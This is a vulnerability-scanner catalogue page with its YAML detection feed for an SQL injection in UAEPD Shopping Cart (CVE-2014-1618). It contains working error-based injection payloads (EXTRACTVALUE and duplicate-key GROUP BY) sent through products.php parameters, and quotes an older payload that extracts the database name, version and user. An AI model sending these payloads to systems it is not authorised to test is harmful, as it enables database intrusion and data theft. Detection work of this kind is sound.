UAEPD Shopping Cart — 1 vulnerability check

noctis ships 1 vulnerability check for UAEPD Shopping Cart, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

UAEPD Shopping Cart products.php SQL Injection

CVECVE-2014-1618
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/uaepd-shopping-cart/CVE-2014-1618.yaml

Tests UAEPD Shopping Cart for the unauthenticated SQL injection through the cat_id and p_id parameters of products.php, which are copied unquoted into the product queries. In the web root and in the /cart, /uaepd and /shop directories, once products.php shows the uaepd.net store footer, the feed requests products.php with a cat_id value that makes the database raise an XPath error carrying the product of two random numbers, which the page prints in its database error message. On databases without the EXTRACTVALUE function it uses a duplicate-key error on a GROUP BY that quotes the same product instead, and it repeats both requests on p_id when cat_id shows nothing. The correct product in the page confirms that the database ran the injected query; the product is not part of the request, so a page that only echoes the URL is not reported. The probe reads no table row and changes nothing.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{dir}}/products.php
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/products.php?cat_id=99999%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{m.a}…
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/products.php?cat_id=99999%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(*),CON…
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{dir}}/products.php?p_id=99999%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*…
  10. Parses / computes the next value with a Rhai script
  11. HTTP(S) request GET {{dir}}/products.php?p_id=99999%20OR%20(SELECT%201%20FROM%20(SELECT%20COUNT(*),CONCAT…
  12. Parses / computes the next value with a Rhai script
  13. Checks proof for ^(?:cat_id|p_id): (?:XPATH syntax error: ~|Duplicate entry )[0-9]+$ → finding QoD 97: UAEPD Shopping Cart products.php SQL Injection (CVE-2014-1618)

References:

Feed source — tests/vulnerabilities/uaepd-shopping-cart/CVE-2014-1618.yaml
# UAEPD Shopping Cart products.php 'cat_id' / 'p_id' SQL injection — CVE-2014-1618
#
# UAEPD Shopping Cart (closed-source PHP/MySQL store script sold by uaepd.net)
# pastes the cat_id and p_id GET parameters of products.php unquoted into its
# product queries (numeric context, EDB-39011) and prints mysql_error() when a
# query fails. news.php / page.php 'id' are the same bug class (EDB-39012).
#
# Detection (benign, read-only), per candidate install directory
# ("", /cart, /uaepd, /shop — the reference check's list):
#   1. GET <dir>/products.php must carry the store footer: the
#      "www.uaepd.net" link and a ">PD<" element (same gate as the reference).
#   2. cat_id=99999 AND extractvalue(1,concat(0x7e,(SELECT <a>*<b>)))
#      → MySQL >= 5.1 / MariaDB raise "XPATH syntax error: '~<a×b>'".
#   3. If that shows nothing (MySQL 5.0 has no EXTRACTVALUE), the reference's
#      own error-based technique — a GROUP BY on CONCAT(<expr>,FLOOR(RAND(0)*2))
#      over information_schema.tables — with <expr> = <a>*<b>:
#      → "Duplicate entry '<a×b>:1' for key ...".
#   4. Steps 2–3 again on the p_id parameter when cat_id gave nothing (the
#      duplicate-key form joined with OR there: p_id is a primary-key lookup,
#      and with AND the missing key 99999 skips the derived table).
#   The product of two random 6-digit operands is computed by the database and
#   is not in the request, so a page that echoes the URL cannot produce it.
#   The probes are constant expressions: no table row is read or changed
#   (information_schema.tables is only counted to trigger the error).
#   QoD 97.
#
# Improvements over the source NASL: the NASL injects
#   CONCAT(database(),0x3a53514C696E6A656374696F6E3a,version(),0x3a,user())
# — it pulls the database name, version and DB account into the reply and
# matches a fixed marker. This feed proves execution with a random
# database-computed product instead (no server data disclosed), adds the
# EXTRACTVALUE form (newer MySQL/MariaDB report "for key 'group_key'", not the
# NASL's "for key 1"), and also tests p_id.
#
# Verified against a reconstructed real sink (php -S + mysqli on MariaDB 10.11:
# raw cat_id/p_id → both proofs fire; intval() → no finding).
#
# CVSS: CVE-2014-1618 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_uaepd_shopping_cart_mult_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.903335, GPL-2.0-only).
uid: 1026c69f-1038-44bc-a087-7dc18648cc90
name: "UAEPD Shopping Cart products.php SQL Injection (CVE-2014-1618)"
description: |
  Tests UAEPD Shopping Cart for the unauthenticated SQL injection through the
  cat_id and p_id parameters of products.php, which are copied unquoted into
  the product queries. In the web root and in the /cart, /uaepd and /shop
  directories, once products.php shows the uaepd.net store footer, the feed
  requests products.php with a cat_id value that makes the database raise an
  XPath error carrying the product of two random numbers, which the page
  prints in its database error message. On databases without the EXTRACTVALUE
  function it uses a duplicate-key error on a GROUP BY that quotes the same
  product instead, and it repeats both requests on p_id when cat_id shows
  nothing. The correct product in the page confirms that the database ran the
  injected query; the product is not part of the request, so a page that only
  echoes the URL is not reported. The probe reads no table row and changes
  nothing.
cves: [CVE-2014-1618]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [uaepd, shopping-cart, php, mysql, sqli, error-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-1618"
  - "https://www.exploit-db.com/exploits/39011"
  - "https://www.exploit-db.com/exploits/39012"
  - "https://web.archive.org/web/2014/https://www.securityfocus.com/bid/64734/info"
  # OpenVAS/Greenbone NASL 2014/gb_uaepd_shopping_cart_mult_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # Random operands; the expected product is computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  # ── Loop group: every step below runs once per candidate install dir ─────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/cart", "/uaepd", "/shop"]
      var: dir

  - id: init-r1
    action: set_var
    var_name: r1
    var_value: {status: 0, body: ""}

  - id: init-r2
    action: set_var
    var_name: r2
    var_value: {status: 0, body: ""}

  - id: init-r3
    action: set_var
    var_name: r3
    var_value: {status: 0, body: ""}

  - id: init-r4
    action: set_var
    var_name: r4
    var_value: {status: 0, body: ""}

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/products.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    store_as: home

  - id: gate
    action: script
    code: |
      type_of(home.body) == "string" && stridx(home.body, "www.uaepd.net") >= 0 && stridx(home.body, ">PD<") >= 0
    store_as: is_uaepd

  # cat_id=99999 AND extractvalue(1,concat(0x7e,(SELECT <a>*<b>)))
  - id: cat-xpath
    action: http_request
    method: GET
    path: "{{dir}}/products.php?cat_id=99999%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*{{m.b}})))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_uaepd == true'
    store_as: r1

  # The error text may be HTML-escaped by the page; accept the quote in any
  # common form, or none.
  - id: verdict-cat-xpath
    action: script
    code: |
      if is_uaepd == true && type_of(r1.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod, r1.body) != "" { "cat_id: XPATH syntax error: ~" + prod } else { "" }
    store_as: proof

  # cat_id=99999 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT <a>*<b>),0x3a,FLOOR(RAND(0)*2))x
  #                   FROM information_schema.tables GROUP BY x)a)
  - id: cat-dupkey
    action: http_request
    method: GET
    path: "{{dir}}/products.php?cat_id=99999%20AND%20(SELECT%201%20FROM%20(SELECT%20COUNT(*),CONCAT((SELECT%20{{m.a}}*{{m.b}}),0x3a,FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_uaepd == true && proof == ""'
    store_as: r2

  - id: verdict-cat-dupkey
    action: script
    code: |
      if proof != "" { proof }
      else if is_uaepd == true && type_of(r2.body) == "string" && egrep("Duplicate entry (?:'|&#0?39;|&#x27;|&apos;)" + prod + ":[01]", r2.body) != "" { "cat_id: Duplicate entry " + prod }
      else { "" }
    store_as: proof

  - id: pid-xpath
    action: http_request
    method: GET
    path: "{{dir}}/products.php?p_id=99999%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{m.a}}*{{m.b}})))"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_uaepd == true && proof == ""'
    store_as: r3

  - id: verdict-pid-xpath
    action: script
    code: |
      if proof != "" { proof }
      else if is_uaepd == true && type_of(r3.body) == "string" && egrep("XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + prod, r3.body) != "" { "p_id: XPATH syntax error: ~" + prod }
      else { "" }
    store_as: proof

  # p_id is the product's primary key: with AND, MySQL/MariaDB find no row for
  # id=99999 and skip the derived table, so no error. OR forces it to run (the
  # products table is never empty on a store). cat_id is not a key, so its AND
  # form runs the derived table even on an empty table — OR would not there.
  - id: pid-dupkey
    action: http_request
    method: GET
    path: "{{dir}}/products.php?p_id=99999%20OR%20(SELECT%201%20FROM%20(SELECT%20COUNT(*),CONCAT((SELECT%20{{m.a}}*{{m.b}}),0x3a,FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: 'is_uaepd == true && proof == ""'
    store_as: r4

  - id: verdict-pid-dupkey
    action: script
    code: |
      if proof != "" { proof }
      else if is_uaepd == true && type_of(r4.body) == "string" && egrep("Duplicate entry (?:'|&#0?39;|&#x27;|&apos;)" + prod + ":[01]", r4.body) != "" { "p_id: Duplicate entry " + prod }
      else { "" }
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: "^(?:cat_id|p_id): (?:XPATH syntax error: ~|Duplicate entry )[0-9]+$"
    on_match:
      finding:
        title: "UAEPD Shopping Cart products.php SQL Injection (CVE-2014-1618)"
        description: "An unauthenticated GET to products.php with SQL appended to a numeric parameter made the database compute the product of two random numbers, which came back in the page's database error. Any query the database user may run can be injected the same way, including reading customer and administrator records."
        remediation: "UAEPD Shopping Cart has no known fixed release. Remove the application or restrict access to it, or cast the cat_id and p_id parameters of products.php (and id of news.php and page.php) to integers before they reach a query, and stop printing database errors to visitors."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{dir}}/products.php with an injected parameter computing {{m.a}}*{{m.b}} returned the database-computed result ({{proof}})"
      stop: true

View these feeds on GitHub